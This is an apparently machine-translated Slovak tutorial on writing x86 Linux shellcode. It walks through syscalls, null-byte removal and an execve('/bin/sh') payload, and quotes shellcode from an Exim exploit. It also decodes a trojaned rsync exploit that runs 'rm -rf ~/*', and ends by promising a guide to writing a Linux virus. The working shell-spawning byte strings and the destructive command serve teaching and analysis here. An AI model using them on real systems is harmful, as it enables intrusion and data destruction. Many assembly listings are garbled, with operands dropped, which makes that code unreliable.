Čo je shell kód. Vírus pre Linux. Naučiť sa písať shell kódy. Spôsoby, ako spustiť shell kód do pamäte

Shellcode je časť kódu vložená do škodlivého programu, ktorý po infikovaní cieľového systému obete umožňuje získať príkazový shell kód, napríklad /bin/bash v OS UNIX, command.com na čiernej obrazovke MS-DOS a cmd .exe v modernej verzii operačné systémy Microsoft Windows. Shellcode sa veľmi často používa ako užitočný náklad.

Shellcode

Prečo je to potrebné?

Ako viete, nestačí len infikovať systém, zneužiť zraniteľnosť alebo nainštalovať nejakú systémovú službu. Všetky tieto akcie sú v mnohých prípadoch zamerané na získanie administrátorského prístupu k infikovanému počítaču.

Malvér je teda len spôsob, ako sa dostať na stroj a získať shell, teda kontrolu. A toto je priama cesta k úniku dôverných informácií, vytváraniu sietí botnetov, ktoré premenia cieľový systém na zombie, alebo jednoducho k vykonávaniu iných deštruktívnych funkcií na napadnutom stroji.

Shellcode sa zvyčajne vstrekuje do pamäte spusteného programu, potom sa doň prenesie kontrola využitím programových chýb, ako je pretečenie zásobníka alebo pretečenia zásobníka, alebo pomocou útokov formátovacích reťazcov.

Riadenie sa prenáša na shell kód prepísaním návratovej adresy v zásobníku adresou vloženého shell kódu, prepísaním adries volaných funkcií alebo zmenou obsluhy prerušení. Výsledkom toho všetkého bude spustenie shell kódu, ktorý sa otvorí príkazový riadok na použitie útočníkom.

Pri zneužití vzdialenej zraniteľnosti (tj exploitu) sa shell kód môže otvoriť zraniteľný počítač preddefinovaný port TCP pre ďalšie vzdialený prístup do príkazového shellu. Takýto kód sa nazýva shell kód viazania portu.

Ak je shell kód pripojený k portu počítača útočníka (za účelom obídenia alebo úniku cez NAT), potom sa takýto kód nazýva reverzný shell (reverzný shell kód).

Spôsoby, ako spustiť shell kód do pamäte

Existujú dva spôsoby, ako spustiť shell kód do pamäte na vykonanie:

  • Metóda kódu nezávislého od polohy (PIC) je kód, ktorý používa pevnú väzbu binárneho kódu (to znamená kódu, ktorý sa vykoná v pamäti) na konkrétnu adresu alebo údaje. Shellcode je v podstate PIC. Prečo je pevné viazanie také dôležité? Shell nemôže presne vedieť, kde sa RAM bude nachádzať, pretože počas vykonávania rôzne verzie kompromitovaný program alebo malvér, môžu nahrať kód shellu do rôznych pamäťových buniek.
  • Metóda Identifying Execution Location znamená, že shell kód musí pri prístupe k údajom v pozične nezávislej pamäťovej štruktúre dereferencovať základný ukazovateľ. Pridanie (ADD) alebo odčítanie (Reduce) hodnôt od základného ukazovateľa vám umožní bezpečný prístup k údajom, ktoré sú súčasťou shell kódu.

FreeBSD Magazine, 09.2010

Shell kód je postupnosť strojových príkazov, ktoré spustený program môže byť nútený urobiť niečo alternatívne. Pomocou tejto metódy môžete zneužiť niektoré zraniteľnosti softvéru (napríklad pretečenie zásobníka, pretečenie haldy, chyby zabezpečenia formátovacieho reťazca).

Príklad toho, ako môže shell kód vyzerať:

char shellcode = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\ x76\x08\x89\x46" "\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d \ x56\x0c\xcd\x80" "\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\ x2f\x73\x68";

To znamená, že vo všeobecnosti ide o postupnosť bajtov v strojovom jazyku. Účelom tohto dokumentu je preskúmať najbežnejšie techniky vývoja shell kódu pre systémy Linux a *BSD bežiace na architektúre x86.

Po prehrabávaní sa po sieti môžete ľahko nájsť hotové príklady shell kódu, ktoré stačí skopírovať a umiestniť na správne miesto. Prečo študovať jeho vývoj? Na môj vkus existuje aspoň niekoľko dobrých dôvodov:

Po prvé, naučiť sa interné informácie o niečom je takmer vždy dobrý nápad pred jeho použitím, aby ste sa vyhli nepríjemným prekvapeniam (tento problém bude podrobne prediskutovaný neskôr na http://www.kernel-panic.it/security/shellcode/shellcode6 .html );

Po druhé, majte na pamäti, že shell kód môže bežať v úplne odlišných prostrediach, ako sú vstupno-výstupné filtre, stránky na manipuláciu s reťazcami, IDS a je užitočné si predstaviť, ako je potrebné ho upraviť podľa podmienok;

Okrem toho vám koncept využívania zraniteľností pomôže písať bezpečnejšie programy.

Ďalej nezaškodí znalosť assembleru pre architektúru IA-32, keďže sa dotkneme tém ako použitie registrov, adresovanie pamäte a podobne. V každom prípade sa na konci článku ponúka množstvo materiálov užitočných na naučenie sa alebo osvieženie pamäte základných informácií o programovaní v assembleri. Vyžaduje sa aj základná znalosť Linuxu a *BSD.

Systémové volania Linuxu
Hoci shell kód môže v podstate robiť čokoľvek, hlavným účelom jeho spustenia je získať prístup k interpreteru príkazov (shell) na cieľovom počítači, najlepšie v privilegovanom režime, z ktorého v skutočnosti pochádza aj názov shell kód.
Najjednoduchším a najpriamejším spôsobom, ako vykonať komplexnú úlohu v assembleri, je použiť systémové volania. Systémové volania poskytujú rozhranie medzi užívateľským priestorom a priestorom jadra; inými slovami, je to spôsob, akým užívateľský program prijíma služby zo služieb jadra. Existuje teda napríklad kontrola systém súborov, spúšťajú sa nové procesy, poskytuje sa prístup k zariadeniam atď.
Ako je uvedené vo výpise 1, systémové volania sú definované v /usr/src/linux/include/asmi386/unistd.h, každé s číslom.
Existujú dva štandardné spôsoby použitia systémových volaní:

Povoliť softvérové ​​prerušenie 0x80;
- volanie funkcie wrapper z knižnice libc.

Prvá metóda je prenosnejšia, keďže ju môžeme použiť na akúkoľvek Linuxová distribúcia(určené kódom jadra). Druhá metóda je menej prenosná, pretože je definovaná štandardným kódom knižnice.

int 0x80
Pozrime sa bližšie na prvý spôsob. Keď procesor prijme prerušenie 0x80, vstúpi do režimu jadra a vykoná požadovanú funkciu získaním príslušného obslužného programu z tabuľky deskriptorov prerušení. Číslo systémového volania musí byť definované v EAX, ktoré bude prípadne obsahovať návratovú hodnotu. V EBX, ECX, EDX, ESI, EDI a EBP musia byť zase argumenty funkcií až šesť, v tomto poradí a len požadovaný počet registrov, nie všetky. Ak funkcia vyžaduje viac ako šesť argumentov, musíte ich vložiť do štruktúry a uložiť ukazovateľ na prvý prvok v EBX.

Majte na pamäti, že linuxové jadrá staršie ako 2.4 nepoužívajú register EBP na odovzdávanie argumentov, a preto môžu cez registre odovzdať iba päť argumentov.

Po uložení čísla systémového volania a parametrov do príslušných registrov sa zavolá prerušenie 0x80: procesor vstúpi do režimu jadra, vykoná systémové volanie a odovzdá riadenie používateľskému procesu. Ak chcete reprodukovať tento scenár, potrebujete:

Vytvorte v pamäti štruktúru obsahujúcu parametre systémového volania;
- uložiť do EBX ukazovateľ na prvý argument;
- spustiť softvérové ​​prerušenie 0x80.

Najjednoduchší príklad bude obsahovať klasiku – systémové volanie exit(2). Zo súboru /usr/src/linux/include/asm-i386/unistd.h zistíme jeho číslo: 1. Manuálová stránka nám hovorí, že existuje len jeden povinný argument (stav), ako je uvedené vo Výpise 2.

Uložíme ho do registra EBX. Preto sú potrebné nasledujúce pokyny:

výstup.asm mov eax, 1 ; Číslo _exit(2) syscall mov ebx, 0 ; stav int 0x80 ; Prerušenie 0x80

libc
Ako bolo uvedené, ďalšie štandardná metóda je použiť funkciu C. Pozrime sa, ako sa to robí na príklade jednoduchého programu v C:

exit.c main() ( exit(0); )

Stačí si ho skompilovať:

$ gcc -o exit exit.c

Poďme to rozobrať pomocou gdb, aby sme sa uistili, že používa rovnaké systémové volanie (výpis 3).

Výpis 3. Demontáž ukončovacieho programu pomocou ladiaceho programu gdb$ gdb ./exit GNU gdb 6.1-debian Copyright 2004 Free Software Foundation, Inc. GDB je slobodný softvér, na ktorý sa vzťahuje všeobecná verejná licencia GNU a za určitých podmienok ho môžete zmeniť a/alebo distribuovať jeho kópie. Ak chcete zobraziť podmienky, zadajte „zobraziť kopírovanie“. Na GDB neexistuje absolútne žiadna záruka. Podrobnosti získate napísaním „zobraziť záruku“. Táto GDB bola nakonfigurovaná ako "i386-linux"...Používajúc hostiteľskú knižnicu libthread_db "/lib/ libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x804836a (gdb) run Starting program: /ramdisk/var/tmp/exit Breakpoint 1, 0x0804836a in main () (gdb) disas main Výpis kódu assembleru pre funkciu main: 0x08048364: push %ebp 0x08048365: mov %esp,%ebp 0x08048367: sub $0x8,%esp 0x0804836a: a $0xffffffff0,%esp 0x0804837b: volanie 0x8048284 Koniec výpisu assemblera. (gdb)

Poslednou funkciou v main() je volanie exit(3). Ďalej vidíme, že exit(3) zase volá _exit(2), ktorý vyvolá systémové volanie, vrátane prerušenia 0x80, výpis 4.

Výpis 4. Uskutočnenie systémového volania(gdb) disas exit Výpis kódu assembleru pre ukončenie funkcie: [...] 0x40052aed: mov 0x8(%ebp),%eax 0x40052af0: mov %eax,(%esp) 0x40052af3: volanie 0x400ced9c<_exit>[...] Koniec výpisu z assemblera. (gdb) disas _exit Výpis kódu assembleru pre funkciu _exit: 0x400ced9c<_exit+0> <_exit+4>: mov $0xfc,%eax 0x400ceda5<_exit+9>: int $ 0x80 0x400ceda7<_exit+11>: mov $0x1,%eax 0x400cedac<_exit+16>: int $0x80 0x400cedae<_exit+18>:hlt 0x400cedaf<_exit+19>

Kód shellu pomocou knižnice libc teda nepriamo volá systémové volanie _exit(2):

vložiť slovo 0; volanie stavu 0x8048284 ; Zavolajte funkciu libc exit() ;(adresa získaná z vyššie uvedeného rozloženia) add esp, 4 ; Vyčistite stoh

*Systémové volania BSD
V rodine *BSD vyzerajú systémové volania trochu inak, v nepriamych volaniach (pomocou adries funkcií libc) nie je rozdiel.
Čísla systémových volaní sú uvedené v súbore /usr/src/sys/kern/syscalls.master, ktorý obsahuje aj prototypy funkcií. Výpis 5 ukazuje začiatok súboru v OpenBSD:

Prvý riadok obsahuje číslo systémového volania, druhý - jeho typ, tretí - prototyp funkcie. Na rozdiel od Linuxu systémové volania *BSD nepoužívajú skratkovú konvenciu vkladania argumentov do registrov, ale namiesto toho používajú štýl C vkladania argumentov do zásobníka. Argumenty sú umiestnené v opačné poradie, začínajúc úplne vpravo, takže budú načítané v správnom poradí. Ihneď po návrate zo systémového volania sa musí zásobník vyčistiť umiestnením do ukazovateľa posunu zásobníka o počet bajtov, ktorý sa rovná dĺžke všetkých argumentov (inými slovami, pridaním bajtov k počtu argumentov vynásobených 4). Úloha registra EAX je rovnaká ako v Linuxe, obsahuje číslo systémového volania a v konečnom dôsledku obsahuje návratovú hodnotu.

Na vykonanie systémového volania sú teda potrebné štyri kroky:

Uloženie telefónneho čísla v EAX;
- umiestnenie argumentov v opačnom poradí na zásobník;
- vykonanie softvérového prerušenia 0x80;
- čistý zásobník.

Príklad pre Linux konvertovaný na *BSD by vyzeral takto:

exit_BSD.asm mov eax, 1 ; Syscall číslo push dword 0 ; rval push eax ; TLAČIŤ ešte jeden dword (pozri nižšie) int 0x80 ; 0x80 prerušenie pridať esp, 8 ; Vyčistite stoh

Zápis shell kódu
Nasledujúce príklady, určené pre Linux, možno ľahko prispôsobiť svetu *BSD. Aby sme získali hotový shell kód, musíme získať operačné kódy zodpovedajúce inštrukciám assembleru. Existujú tri štandardné metódy na získanie operačných kódov:

Ručné písanie (s dokumentáciou Intel v ruke!);
- písanie montážneho kódu s následnou extrakciou operačného kódu;
- zápis kódu v C s jeho následnou demontážou.

Pozrime sa teraz na zvyšné dve metódy.

V assembleri
Prvým krokom je použitie kódu assembleru z príkladu exit.asm pomocou systémového volania _exit(2). Na získanie operačných kódov používame nasm a potom rozoberieme zostavený binárny súbor pomocou objdump, ako je uvedené vo výpise 6.

Druhý stĺpec obsahuje strojové kódy, ktoré potrebujeme. Môžeme teda napísať náš prvý shell kód a otestovať ho pomocou jednoduchého programu C prevzatého z http://www.phrack.org/

Výpis 7. Testovanie operačného kódu sc_exit.c char shellcode = "\xbb\x00\x00\x00\x00" "\xb8\x01\x00\x00\x00" "\xcd\x80"; int main() ( int *ret; ret = (int *)&ret + 2; (*ret) = (int)kód shellu; )

Napriek popularite tohto prístupu sa kód kontroly C nemusí zdať dostatočne jasný. Avšak, jednoducho prepíše adresu funkcie main() s adresou shell kódu, aby vykonal inštrukcie shellcode v main(). Po prvej inštrukcii sa zásobník vyvíja takto:

Návratová adresa (umiestnená inštrukciou CALL), ktorá sa má umiestniť do EIP pri výstupe;
- uložený EBP (obnoví sa pri ukončení funkcie);
- ret (prvá lokálna premenná vo funkcii main())

Druhá inštrukcia zvyšuje adresu ret o osem bajtov (dve dwords), aby získala adresu návratovej adresy, to znamená ukazovateľ na prvú inštrukciu, ktorá sa má vykonať v main(). Nakoniec tretia inštrukcia prepíše adresu adresou shell kódu. V tomto bode program ukončí funkciu main(), obnoví EBP, uloží adresu shell kódu do EIP a vykoná ju. Ak chcete vidieť všetky tieto operácie, musíte skompilovať a spustiť sc_exit.c:

$ gcc -o sc_exit sc_exit.c $ ./sc_exit $

Dúfam, že máš dostatočne otvorené ústa. Ak chcete overiť, či je spustený shell kód, stačí spustiť aplikáciu pod strace, výpis 8.

Výpis 8. Testovanie sledovania aplikácie$ strace ./sc_exit execve("./sc_exit", [./sc_exit"], ) = 0 uname((sys="Linux", node="Knoppix", ...)) = 0 brk(0) = 0x8049588 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000 prístup("/etc/ld.so.nohwcap", F_OK) = Žiadny otvorený súbor alebo adresár ENOENT ("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (žiadny takýto súbor alebo adresár) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, (st_mode=S_IFREG |0644, st_size=60420, ...)) = 0 old_mmap(NULL, 60420, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK ) = -1 ENOENT (žiadny takýto súbor alebo adresár) open("/lib/libc.so.6", O_RDONLY) = 3 prečítané (3, "\177ELF\1\1\1\0\0\0\0" \0\0\0\0\0\3\0\3\0\1\0\0\0\200^\1"..., 512) = 512 fstat64(3, (st_mode=S_IFREG|0644 , st_size = 1243792, ...)) = 0 Old_mmap (null, 1253956, prot_read | prot_exec, map_private, 3, 0) old_mmap(0x40157000, 8772, P ROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40157000 close(3) = 0 munmap(0x40018000, 60420) = 0 _exit(0) = ? $

Posledný riadok je volanie _exit(2). Pri pohľade na shell kód však vidíme malý problém: obsahuje veľa nulových bajtov. Keďže kód shellu sa často zapisuje do vyrovnávacej pamäte reťazca, tieto bajty narazia na oddeľovač riadkov a útok zlyhá. Existujú dva spôsoby, ako vyriešiť problém:

Napíšte inštrukcie, ktoré neobsahujú nulové bajty (a to nie je vždy možné);
- napíšte kód shellu, aby ste ho upravili manuálne, odstránením nulových bajtov, takže za behu samotný kód pridá nulové bajty a zarovná reťazec k oddeľovaču.

Pozrime sa na prvý spôsob.
Prvá inštrukcia (mov ebx, 0) môže byť upravená tak, aby bola použiteľnejšia (z dôvodov výkonu):

xor ebx, ebx

Druhá inštrukcia obsahuje všetky tie nuly, pretože sa používa 32-bitový register (EAX), čím sa získa 0x01, čo sa zmení na 0x01000000 (úryvky sú obrátené, pretože Intel® je procesor little endian). Tento problém teda môžeme vyriešiť jednoducho pomocou osembitového registra (AL):

mov al, 1

Teraz náš kód assembleru vyzerá takto:

xor ebx, ebx mov al, 1 int 0x80

a žiadne nulové bajty (výpis 9).

Výpis 9. Kontrola shell kódu$ nasm -f exit2.asm $ objdump -d exit2.o exit2.o: formát súboru elf32-i386 Demontáž sekcie .text: 00000000<.text>: 0: 31 db xor %ebx,%ebx 2: b0 01 mov $0x1,%al 4: cd 80 int $0x80 $
Výpis 10. Exit.c binárny súbor otvorený s gdb$ gdb ./exit GNU gdb 6.1-debian Copyright 2004 Free Software Foundation, Inc. GDB je slobodný softvér, na ktorý sa vzťahuje všeobecná verejná licencia GNU a za určitých podmienok ho môžete zmeniť a/alebo distribuovať jeho kópie. Ak chcete zobraziť podmienky, zadajte „zobraziť kopírovanie“. Na GDB neexistuje absolútne žiadna záruka. Podrobnosti získate napísaním „zobraziť záruku“. Táto GDB bola nakonfigurovaná ako "i386-linux"...Používajúc hostiteľskú knižnicu libthread_db "/lib/ libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x804836a (gdb) run Starting program: /ramdisk/var/tmp/exit Breakpoint 1, 0x0804836a in main () (gdb) disas _exit Výpis kódu assembleru pre funkciu _exit: 0x400ced9c<_exit+0>: mov 0x4(%esp),%ebx 0x400ceda0<_exit+4>: mov $0xfc,%eax 0x400ceda5<_exit+9>: int $ 0x80 0x400ceda7<_exit+11>: mov $0x1,%eax 0x400cedac<_exit+16>: int $0x80 0x400cedae<_exit+18>:hlt 0x400cedaf<_exit+19>: nop Koniec výpisu z assemblera. (gdb)

Ako vidíte, funkcia _exit(2) v skutočnosti používa dve systémové volania: 0xfc(252), _exit_group(2) a potom _exit(2). _exit_group(2) je ako _exit(2), ale jeho účelom je ukončiť všetky vlákna v skupine. Náš kód skutočne potrebuje iba druhé systémové volanie.

Extrahujte operačné kódy:

(gdb) x/4bx _exit 0x400ced9c<_exit>: 0x8b 0x5c 0x24 0x04 (gdb) x/7bx _exit+11 0x400ceda7<_exit+11>: 0xb8 0x01 0x00 0x00 0x00 0xcd 0x80 (gdb)

Rovnako ako v predchádzajúcom príklade budete musieť prekonať nulové bajty.

Získanie konzoly
Je čas napísať nejaký shell kód, ktorý nám umožní urobiť niečo užitočnejšie. Môžeme napríklad vytvoriť kód na prístup ku konzole a nechať ju čistý, keď sa konzola vytvorí. Najjednoduchším prístupom je použitie systémového volania execve(2). Nezabudnite si pozrieť manuálovú stránku, výpis 11.

Výpis 11. muž 2 EXECVE(2) Linux Programátorská príručka EXECVE(2) NAME execve - spustiť program ZHRNUTIE #include int execve(const char *názov súboru, char *const argv , char *const envp); POPIS execve() vykoná program, na ktorý ukazuje názov súboru. názov súboru musí byť buď binárny spustiteľný súbor, alebo skript začínajúci riadkom v tvare "#! interpreter ". V druhom prípade musí byť interpreter platný názov cesty pre spustiteľný súbor, ktorý sám o sebe nie je skriptom, ktorý bude vyvolaný ako názov súboru interpreta. argv je pole reťazcov argumentov odovzdaných novému programu. envp je pole reťazcov, zvyčajne vo forme prostredia pre nový program. Obidve argv aj envp musia byť ukončené nulovým ukazovateľom. K argumentovému vektoru a prostrediu je možné pristupovať pomocou hlavnej funkcie volaného programu, ak je definovaný ako int main(int argc, char *argv, char *envp). [...]

Musíme prijať tri argumenty:

Ukazovateľ na názov programu, ktorý sa má vykonať, v našom prípade ukazovateľ na reťazec /bin/sh;
- ukazovateľ na pole reťazcov odovzdaných ako argumenty programu, prvý argument musí byť argv, teda názov samotného programu, posledný argument musí byť nulový ukazovateľ;
- ukazovateľ na pole reťazcov na ich odovzdanie ako prostredie programu; tieto reťazce sú zvyčajne špecifikované vo formáte kľúč=hodnota a posledným prvkom poľa musí byť nulový ukazovateľ. V C to vyzerá takto:

Poďme zhromaždiť a uvidíme, ako to funguje:

No, dobre, máme škrupinu. Teraz sa pozrime, ako toto systémové volanie vyzerá v assembleri (keďže sme použili tri argumenty, namiesto štruktúry môžeme použiť registre). Okamžite sa objavia dva problémy:

Prvý problém je známy: v shell kóde nemôžeme ponechať nulové bajty, ale v tomto prípade je argumentom reťazec (/bin/sh), ktorý je ukončený nulovým bajtom. A medzi argumentmi execve(2) musíme odovzdať dva nulové ukazovatele!
- druhý problém je nájsť adresu reťazca. Absolútne adresovanie pamäte je náročná práca a spôsobí, že kód shellu bude takmer neprenosný.

Aby sme vyriešili prvý problém, umožníme nášmu shellovému kódu vkladať nulové bajty na správne miesta za behu. Na vyriešenie druhého problému použijeme relatívne adresovanie. Klasický spôsob, ako získať späť adresu shell kódu, je začať inštrukciou CALL. V skutočnosti prvá vec, ktorú CALL urobí, je vloženie adresy ďalšieho bajtu do zásobníka, aby mohol (s inštrukciou RET) vložiť túto adresu do EIP po návrate z volanej funkcie. Vykonanie sa potom presunie na adresu nastaviť podľa parametra Pokyny ZAVOLAJTE. Takto dostaneme smerník na náš reťazec: adresa prvého bajtu po CALL je poslednou hodnotou v zásobníku a môžeme ju ľahko získať pomocou POP. Takže všeobecný plán shellkódu by bol niečo takéto:

Výpis 12. jmp krátky mycall ; Okamžite skočte na shell kód inštrukcie volania: pop esi ; Uložte adresu "/bin/sh" v ESI [...] mycall: call shellcode ; Vložte adresu ďalšieho bajtu do zásobníka: ďalší db "/bin/sh" ; byte je začiatok reťazca "/bin/sh"

Pozrime sa, čo to robí:

Najprv shell kód preskočí na inštrukciu CALL;
- CALL vloží do zásobníka adresu reťazca /bin/sh, ktorý ešte nie je ukončený nulovým bajtom; direktíva db jednoducho inicializuje sekvenciu bajtov; potom spustenie opäť preskočí na začiatok shell kódu;
- potom sa adresa reťazca vyberie zo zásobníka a uloží sa do ESI. Teraz môžeme pristupovať k adrese v pamäti pomocou adresy reťazca.

Odteraz môžete použiť štruktúru kódu shell naplnenú niečím užitočným. Poďme analyzovať krok za krokom naše plánované akcie:

Vyplnenie EAX nulami tak, aby boli dostupné pre naše účely;
- reťazec ukončíme nulovým bajtom skopírovaným z EAX (použijeme register AL);
- položme si otázku, že ECX bude obsahovať pole argumentov, pozostávajúce z reťazcovej adresy a nulového ukazovateľa; táto úloha sa vykoná zapísaním adresy obsiahnutej v ESI do prvých troch bajtov a potom nulového ukazovateľa (opäť berieme nuly z EAX);
- uložiť číslo systémového volania do (0x0b) EAX;
- uložiť prvý argument do execve(2) (to je adresa reťazca uloženého v ESI) v EBX;
- uložiť adresu poľa v ECX (ESI + 8);
- uložiť adresu nulového ukazovateľa v EDX (ESI+12);
- vykonajte prerušenie 0x80.

Výsledný kód zostavy je zobrazený vo výpise 13.

Výpis 13. Revidovaný kód zostavy get_shell.asm jmp short mycall ; Okamžite skočte na shell kód inštrukcie volania: pop esi ; Uložte adresu "/bin/sh" v ESI xor eax, eax ; Vynulovať EAX mov byte , al ; Napíšte nulový bajt na koniec reťazca mov dword, esi; , t.j. pamäť bezprostredne pod reťazcom; "/bin/sh", bude obsahovať pole, na ktoré ukazuje ; druhý argument execve(2); preto ukladáme do ; adresa reťazca... mov dword , eax ; ...a v ukazovateli NULL (EAX je 0) mov al, 0xb ; Uložte číslo systémového volania (11) do EAX lea ebx, ; Skopírujte adresu reťazca do EBX lea ecx, ; Druhý argument pre execve(2) lea edx, ; Tretí argument pre execve(2) (ukazovateľ NULL) int 0x80 ; Vykonať systém call mycall: call shellcode ; Vložte adresu "/bin/sh" do zásobníka db "/bin/sh"

Extrahovanie operačných kódov, výpis 14:

$ gcc -o get_shell get_shell.c $ ./get_shell sh-2.05b$ výstup $

Dôvera je dobrá...
Pozrime sa na shell kód z exploitu (http://www.securityfocus.com/bid/12268/info/), ktorý napísal Rafael San Miguel Carrasco. Využíva zraniteľnosť pretečenia vyrovnávacej pamäte. poštový program Exim:

statický znak shellcode= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\ xb0\x0b\x89" "\xf3\x8d\x4e\x08\ x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\ x62\x69\x6e" "\x2f\x73\x68\x58";

Poďme to rozobrať s ndisazmom, zoznámiť sa s niečím? Výpis 16.

Výpis 16. Demontáž s ndisasmom$ echo -ne "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"\ "\xf3\x8d\x4e\x08 \x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"\ "\x2f\x73\x68\x58" | ndisasm -u - 00000000 EB17 jmp krátky 0x19 ; Počiatočný skok na CALL 00000002 5E pop esi ; Uložte adresu reťazca v ; ESI 00000003 897608 mov ,esi ; Napíšte adresu reťazca do ; ESI + 8 00000006 31C0 xor eax,eax ; Zero out EAX 00000008 884607 mov ,al ; Null-termination string 0000000B 89460C mov ,eax ; Napíšte nulový ukazovateľ na ESI + 12 0000000E B00B mov al,0xb ; Číslo execve(2) syscall 00000010 89F3 mov ebx,esi ; Uložte adresu reťazca v ; EBX (prvý argument) 00000012 8D4E08 lea ecx, ; Druhý argument (ukazovateľ na pole ;) 00000015 31D2 xor edx,edx ; Zero out EDX (tretí argument) 00000017 CD80 int 0x80 ; Vykonajte systémové volanie 00000019 E8E4FFFFFF volanie 0x2; Zatlačte adresu reťazca a ; skok na druhý; pokyn 0000001E 2F das ; "/bin/shX" 0000001F 62696E viazaný ebp, 00000022 2F das 00000023 7368 jnc 0x8d 00000025 58 pop eax $

...ale ovládanie je lepšie
Najlepšou praxou je však zvyknúť si skontrolovať kód shellu pred jeho použitím. Napríklad 28. mája 2004 prankster zverejnil verejný exploit pre rsync (http://www.seclists.org/lists/fulldisclosure/2004/May/1395.html), ale kód bol nejasný: po časť dobre komentovaného kódu bola nenápadná časť, výpis 17.

Po pohľade na main() bolo jasné, že exploit bol spustený lokálne:

(long) funct = [...] funct();

Aby sme teda pochopili, čo robí shell kód, nesmieme ho spustiť, ale rozobrať, Výpis 18.

Výpis 18. Rozobraný, ťažko viditeľný shell kód$ echo -ne "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8[...]" | \ > ndisasm -u - 00000000 EB10 jmp krátky 0x12 ; Prejsť na ZAVOLAJTE 00000002 5E pop esi ; Získať adresu bajtu 0x17 00000003 31C9 xor ecx,ecx ; Zero out ECX 00000005 B14B mov cl,0x4b ; Nastavte počítadlo slučiek (pozri ; inštrukcia 0x0E) 00000007 B0FF mov al,0xff ; Nastavte masku XOR 00000009 3006 xor ,al ; XOR byte 0x17 s AL 0000000B FEC8 dek al ; Znížte masku XOR 0000000D 46 inc esi ; Načítajte adresu ďalšieho bajtu 0000000E E2F9 slučka 0x9 ; Ponechať XORing, kým ECX=0 00000010 EB05 jmp krátky 0x17 ; Skok na prvú inštrukciu XORed 00000012 E8EBFFFFFF volanie 0x2 ; PUSH adresu ďalšieho bajtu a ; skok na druhý pokyn 00000017 17 pop ss [...]

Ako môžete vidieť, toto je samomodifikujúci shell kód: inštrukcie 0x17 až 0x4B sú dekódované za behu ich XORingom s ich AL hodnotou, ktorá je najprv doplnená 0xFF a potom dekrementovaná pri každom prechode slučky. Po dekódovaní sa inštrukcia vykoná (jmp short 0x17). Pokúsme sa pochopiť, ktorá inštrukcia sa skutočne vykonáva. Shell kód môžeme dekódovať pomocou Pythonu, výpis 19.

Výpis 19. Dekódovanie shell kódu pomocou Pythonu decode.py #!/usr/bin/env python sc = "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9" + \ "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99" + \ "\xd9\x86\x9c\xf3\x81\x99\ xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81" + \ "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\ xac\xb4\xbb" + \ "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf" + \ "\x95\x4c\ x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7" + \ "\x7b\x35" vytlačiť "".join()])

Hexadecimálny výpis nám dá náš prvý nápad: pozri Výpis 20.

Mmm... /bin/sh, sh -c rm -rf ~/* 2>/dev/null ... Nie príliš optimistický kód! Ale pre istotu si to rozoberme, výpis 21.

Prvá inštrukcia CALL, po ktorej bezprostredne nasleduje riadok, ktorý vypíše hexadecimálny výpis. Začiatok shell kódu možno prepísať takto, pozri Výpis 22.

Uložme operačné kódy počnúc inštrukciou 0x2a (42), výpis 23:

Výpis 23. Kontrola volaných funkcií$ ./decode_exp.py | rez -c 43- | ndisasm -u - 00000000 5D pop ebp ; Získajte adresu reťazca; "/bin/sh" 00000001 31C0 xor eax,eax ; Vynulovať EAX 00000003 50 stlačiť eax ; Zatlačte nulový ukazovateľ na zásobník 00000004 8D5D0E lea ebx, ; Uložiť adresu ; "rm -rf ~/* 2>/dev/null" v EBX 00000007 53 push ebx ; a zatlačte ho na zásobník 00000008 8D5D0B lea ebx, ; Uložte adresu "-c" v EBX 0000000B 53 push ebx ; a zatlačte ho na zásobník 0000000C 8D5D08 lea ebx, ; Uložte adresu "sh" v EBX 0000000F 53 push ebx ; a zatlačte ho na zásobník 00000010 89EB mov ebx,ebp ; Uložte adresu "/bin/sh" v ; EBX (first arg to execve()) 00000012 89E1 mov ecx,esp ; Uložte ukazovateľ zásobníka do ECX (ESP ; ukazuje na "sh", "-c", "rm...") 00000014 31D2 xor edx,edx ; Tretí argument na execve() 00000016 B00B mov al,0xb ; Číslo systémového volania execve() 00000018 CD80 int 0x80 ; Vykonajte systémové volanie 0000001A 89C3 mov ebx,eax ; Uložte 0xb v EBX (kód výstupu=11) 0000001C 31C0 xor eax,eax ; Vynulovanie EAX 0000001E 40 inc eax ; EAX=1 (číslo systémového volania exit()) 0000001F CD80 int 0x80 ; Vykonajte systémové volanie

Odtiaľ jasne vidíme, že execve(2) sa volá s radom argumentov sh, -c, rm -rf ~/* 2>/dev/null. Preto nikdy nezaškodí otestovať svoj kód pred jeho spustením!

IoT je skutočným trendom poslednej doby. Takmer všade používa jadro Linuxu. Existuje však relatívne málo článkov o písaní vírusov a kódovaní shellu pre túto platformu. Myslíte si, že písanie shell kódu Linuxu je len pre elitu? Poďme zistiť, ako napísať vírus Linux!

ZÁKLAD PRE NAPÍSANIE VÍRUSU PRE LINUX

Čo potrebujete k práci?

